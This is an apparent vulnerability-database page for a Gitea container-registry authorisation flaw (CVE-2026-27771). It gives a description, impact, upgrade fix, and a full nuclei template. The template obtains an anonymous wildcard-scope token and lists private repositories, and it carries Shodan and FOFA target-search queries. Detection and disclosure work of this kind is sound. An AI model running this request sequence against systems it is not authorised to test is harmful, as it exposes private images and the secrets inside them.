HexBrain

Browse / CVEs / CVE-2026-27771

CVE-2026-27771· gitea / gitea· CWE-862

Gitea Container Registry - Unauthorized Private Image Access

highseverity
7.5CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

Gitea < 1.26.2 allows unauthenticated remote attackers to pull private container images.The /v2/token endpoint grants anonymous ghost tokens (UserID:-1) with no scope restriction.The ReqContainerAccess middleware does not check package owner visibility, so ghost users can enumerate all container repositories via /_catalog and pull any private image layer.

Impact

Unauthenticated attackers can exfiltrate proprietary application source code, embedded secrets (API keys, database credentials, cloud provider keys), and internal infrastructure configuration from private container images.

Fix

Upgrade to Gitea >= 1.26.2. As a temporary workaround, set REQUIRE_SIGNIN_VIEW=true in gitea app.ini, though this blocks all anonymous access including public repos.

How to confirm it

Send: GET /v2/
Positive when: status_code == 401
Send: GET /v2/token?service=container_registry&scope=*
Send: GET /v2/_catalog
Positive when: contains "\"repositories\"" AND matches /"repositories":\s*\[".+/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-27771 -u <target>

The full check
id: CVE-2026-27771

info:
  name: Gitea Container Registry - Unauthorized Private Image Access
  author: DhiyaneshDk
  severity: high
  description: |
    Gitea < 1.26.2 allows unauthenticated remote attackers to pull private container images.The /v2/token endpoint grants anonymous ghost tokens (UserID:-1) with no scope restriction.The ReqContainerAccess middleware does not check package owner visibility, so ghost users can enumerate all container repositories via /_catalog and pull any private image layer.
  impact: |
    Unauthenticated attackers can exfiltrate proprietary application source code, embedded secrets (API keys, database credentials, cloud provider keys), and internal infrastructure configuration from private container images.
  remediation: |
    Upgrade to Gitea >= 1.26.2. As a temporary workaround, set REQUIRE_SIGNIN_VIEW=true in gitea app.ini, though this blocks all anonymous access including public repos.
  reference:
    - https://blog.gitea.com/release-of-1.26.2/
    - https://github.com/go-gitea/gitea/pull/37290
    - https://github.com/go-gitea/gitea/pull/37610
    - https://orca.security/resources/blog/gitea-container-registry-vulnerability/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-27771
    epss-score: 0.01393
    epss-percentile: 0.72591
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: gitea
    product: gitea
    shodan-query: http.html:"Gitea"
    fofa-query: app="Gitea"
  tags: cve,cve2026,gitea,container,registry,auth-bypass,unauth

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /v2/ HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        GET /v2/token?service=container_registry&scope=* HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - '"token":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /v2/_catalog HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"repositories"'

      - type: regex
        part: body
        regex:
          - '"repositories":\s*\[".+'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - '"repositories":\s*(\[.*\])'

References

Use this check only on systems you are authorised to test. Where the data comes from